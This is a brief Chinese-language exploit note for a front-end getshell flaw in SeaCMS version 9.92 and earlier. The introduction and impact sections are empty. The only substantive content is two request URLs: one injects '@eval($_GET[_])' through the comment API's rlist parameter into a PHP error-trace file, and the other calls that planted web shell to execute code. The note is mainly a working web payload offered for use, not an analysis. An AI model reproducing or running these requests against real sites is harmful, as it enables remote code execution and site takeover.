Seacms _= 9.92 前台Getshell.md

329 B / 2021-04-21 09:23:46

    Seacms \<= 9.92 前台Getshell
============================

一、漏洞简介
------------

二、漏洞影响
------------

三、复现过程
------------

    http://0-sec.org/comment/api/index.php?gid=1&page=2&rlist[]=*hex/@eval($_GET[_]);?%3E

然后访问：

    http://0-sec.org/data/mysqli_error_trace.php?_=phpinfo()